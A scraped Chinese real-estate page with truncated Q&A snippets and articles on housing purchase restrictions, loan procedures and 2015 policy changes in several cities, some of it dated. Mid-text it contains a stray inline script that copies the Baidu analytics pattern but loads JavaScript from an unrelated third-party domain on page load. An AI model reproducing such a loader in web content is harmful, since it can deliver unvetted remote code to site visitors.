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曹皓月
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问北京市自住型商品房购买资格有谁了解吗?有什么政策?
答自住型商品房。这个概念是由北京市提出的,目前也只有北京市有自住房。北京市住建委2013年10月22日发布,2013年北京将推出2万套自住型商品房,2014年
问谁了解成都商品房限购政策?
答一、进一步加大保障性住房建设力度 二、进一步落实房地产市场调控措施 (一)努力实现新建住房价格控制目标。按照房价与经济发展目标、人均可支
问上海商品房限购政策是怎样的?
答上海商品房限购政策现在主要是这样的,拥有1套住房的居民家庭,为改善居住条件再次申请商品性个人住房贷款购买普通自住房的,首付款比例不低于50%;购买非普通自住
问西安商品房限购政策有哪些?
答西安商品房限购政策: 购房人资格核查通过才可买房 自2017年1月1日起,本市及非本市户籍居民家庭(包括夫妻双方及未成年子女),在本市城
北京商品房贷款政策要求购买房子的必要过程和程序
北京商品房贷款政策的要求购买房子的必要过程和程序应当包括:居民家庭是本市的户籍,若想购买一套房子,需要准备所有家庭成员的户籍证明、公民证件、婚姻的复印件和原件,并将“购房承诺书”和“家庭购房申请表”从网上下载,家庭所有成员均需签字。北京驻军现役军人和现役武警家属还应当提供其军队(警察)公民证件复印件和原件。如果家庭成员不是本市的户籍,家庭成员需要持有有效的《北京市工作居住证》,还需要准备相关证件的复印件和原件。非本地户籍的居民家庭若购买房屋,需要准备所有家庭成员的公民证件、婚姻和户籍证明的复印件和原件,并且准备所有人有效的临时居留证。同时要联系相关单位准备本市个人所得税缴纳证明原件、复印件或提供已缴纳的社会保险家庭成员姓名、人、证件信息。购房者提交这些资料后,房地产开发企业、中介机构和库存房屋网签服务窗口对上述材料进行初步核查。按照商品房贷款政策的要求,需要在在北京房地产交易系统中填写该商品房的购房支票相关信息,需要准备、等复印件和原件。如果任一材料无法提供或材料不符合要求条件,则无法按照商品房贷款政策办理。按照商品房贷款政策的要求,本市和各区县的相关住建委部门会根据具体情况与有关部门合作,在5个工作日内对购房家庭的购房资格进行审核。经核实购房的家庭,可以在网上办理签约手续。在网上成功签订合同后,经纪机构和服务窗口、房地产开发企业需要将《购房承诺书》原件和其他材料复印件作为合同附件,申请办理房屋产权登记时提交。这时房屋登记部门开始查资料,提供虚假资料,隐瞒房屋情况,不办理房屋登记;如资料准确无误,将办理产权登记手续。据了解,按照商品房贷款政策的要求,本市和各区县的相关住建委部门会根据具体情况与有关部门合作,实施经纪机构限制购买的政策检查,加强房地产企业的监管力度。按照商品房贷款政策的要求,如果没有购房材料存在问题,将追根溯源依法严肃处理。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();
上海商品房限购政策内容介绍
商品房限购政策出炉,带来了楼市的新气象、新变化。对楼市也有一定的影响,那么,上海商品房限购政策的内容到底是什么呢?限购政策简析以家庭为单位,在上海区域内拥有的住房套数:(1)上海家庭:单个家庭拥有2套特殊情况:上海家庭购房者在2011年1月28日前与父母共有的住房不算套数夫妻双方各自与父母共有的住房不超过2套的,可以再新购2套,即2套(男方最多与父母共有套数)+2套(女方最多与父母共有套数)+2套(男女方组成家庭后可最多再购买2套)=6套(最多套数)(2)上海单身:可拥有1套特殊情况:①上海单身名下最多3套住房(一套产证只有自己,另外两套有父母的名字)2套(2011年1月28日前最多与父母共有套数)+1套(单身最多新购买1套)=3套(最多套数)②上海离异家庭:男方或者女方携带未成年子女按照上海单身的限购政策(3)外地家庭:可拥有1套注:需要自购房前连续缴纳5年以上的社保或个税(提供社保或个税证明)(4)外地单身:限购自2016年3月25日后,上海取代北京成为全国最严限购城市,不仅非沪籍购房社保年限提高至5年,并且要求连续缴纳不能间断。总结一下,上海限购政策更新后:非本市家庭社保缴纳连续5年,购买第二套普通住房首付不低于五成、非普通住宅不低于七成。其他一线城市的情况如下:北京:非本市人口社保缴纳连续5年,购买第二套住房(普通&非普通)首付不低于五成广州:非本市人口社保缴纳连续3年,购买第二套住房(普通&非普通)首付不低于三成深圳:非本市人口社保缴纳连续3年,购买第二套住房(普通&非普通)首付不低于四成以上就是关于上海商品房限购政策的全部介绍,希望能给广大购房者带来参考帮助,商品房限购令是政府出台的控制百姓投资房地产的一种政策。主要是限制百姓购买二套住房和投资者炒房,目的是控制日益高涨的房价。
商品房政策介绍 最新房产政策有哪些
近期房地产政策利好频频出台,“330房贷新政”,“二套房首付降至4成”,“营业税免征期限5年改2年”,“公积金新政”。这些新政都明显看出房地产的小阳春到来了。房地产政策的不断出台刺激,显示中国政府对楼市调控由限购从严,到政策支持的转变。今天,小编就给大家讲讲最新房产政策,让朋友饱饱眼福!商品房政策介绍申请条件1、名下无房或仅有一套住房的北京户籍家庭可申请自住型商品房;2、符合购房条件且名下无房的非京籍家庭(需持有有效暂住证,连续5年(含)以上在本市缴纳社保或个税,可以购买一套自住型商品房);3、单身者申购北京自住型商品房需年满25周岁;4、本市户籍的无房家庭和目前已在轮候经适房、限价房的家庭可优先购买。申请流程1、报名:网上现场两步都得走按照职责分工,市住建委负责指导、监督全市自住型商品房销售管理工作,而开发商在向市住建委网站申请办理自住型商品住房预售许可或者现房销售备案手续前,就会在市住建委网站和销售现场进行不少于15天的公示。到时候,老百姓能从这些公示内容中看到项目名称、企业名称、项目位置、套数、户型面积、销售均价等信息。如果真对某个项目动了买房的念头,在这不少于15天的公示期中,市民可以按照普通购房要求提交相关材料;经适房、两限房轮候家庭,还得提交《北京市城市居民购买经济适用住房/限价商品住房申请备案通知单》和申请人的身份证明材料。申请人既要在网上提交相关材料,也要到开发商销售现场提交原件和复印件,就是说网上和现场提交材料的两步都要走。2、核验:20个工作日内给出结果市民在提交材料之后的20个工作日内就可以得到是否通过审核的结果,通过购房资格审核的申请家庭,方可参加摇号。3、摇号:与车牌摇号系统类似摇号前,产权型保障房轮候家庭和本市户籍无房且其中单身人士已年满25周岁的家庭会自动进入优先池,其他有购房资格的人群则会进入普通摇号池。系统摇号开始以后,会分别对这两个摇号池内的候选人排大队,再由开发商依次通知选房。4、选房:按摇号确定顺序依次递补优先池中的家庭会先选房,而且每个申请家庭只能选择一套自住型商品房。选房之后就是签约。开发商会与购房家庭签订购房合同,购房家庭的成员今后不得再申请购买自住型商品房;属经济适用住房、限价商品房轮候家庭的,自动放弃轮候资格。最新房产政策有哪些最新房产政策12015年3月30财政部:个人转让两年以上住房免征营业税内容:个人将购买不足2年的住房对外销售的,全额征收营业税;个人将购买2年以上(含2年)的非普通住房对外销售的,按照其销售收入减去购买房屋的价款后的差额征收营业税;个人将购买2年以上(含2年)的普通住房对外销售的,免征营业税。更多行业内容可查询房地产行业分析及市场研究报告。最新房产政策22015年3月20日福建出台新政“闽七条”1)首改房认定放宽;2)支持公积金贷款,首次申请首付比例降低至20%;3)支持住房贷款,本省金融机构适当下浮贷款利率;4)房屋货币化安置,补偿款购商品房享“团购”优惠;5)打通转换通道多渠道促进商品房与保障房转换;6)试推共有产权住房,个人按所持产权比例支付购房款;7)推进公共服务均等化提升住宅小区基本公共服务水平;最新房产政策32015年3月27日国土部住建部联合发文救市,严格控制供地规模,改善供求关系1)合理安排住房及其用地供应规模;2)优化住房及用地供应结构;3)统筹保障性安居工程建设;4)加大市场秩序和供应实施监督力度最新房产政策42015年3月30日央行:“二套房贷款首付比降至四成”内容:央行、住建部、银监会联合下发通知,对拥有一套住房且相应购房贷款未结清的居民家庭购二套房,最低首付款比例调整为不低于40%。使用住房公积金贷款购买首套普通自住房,最低首付20%;拥有一套住房并已结清贷款的家庭,再次申请住房公积金购房,最低首付30%。最新房产政策53月15日全国人大三次会议闭幕后,国务院总理李克强答记者问透露房地产市场发展利好信号内容:总体而言,李克强总理的答记者问,释放了诸多房企利好消息,但无形中也对房企提出了较高的要求,房企们不应该因为政策利好而沾沾自喜,而是应该抓紧时间“调结构”,做“升级”,等下一个“风口”来临时,才能做到迎风起飞,而非被风刮跑。1)经济稳增长是新常态,支柱产业房地产必将受益2)总理要求金融更好的服务经济实体,融资环境宽松可期3)去行政化是主旋律,楼市政策有望延续市场化格局4)支持改善性住房需求,或将带动新一轮开发投资增长5)互联网+”或将助力房企进行产业升级6)鼓励“走出去”和“引进来”,地产行业预期向好以上就是一些关于商品房政策和最新房产政策的介绍,希望对你有一定的参考作用!
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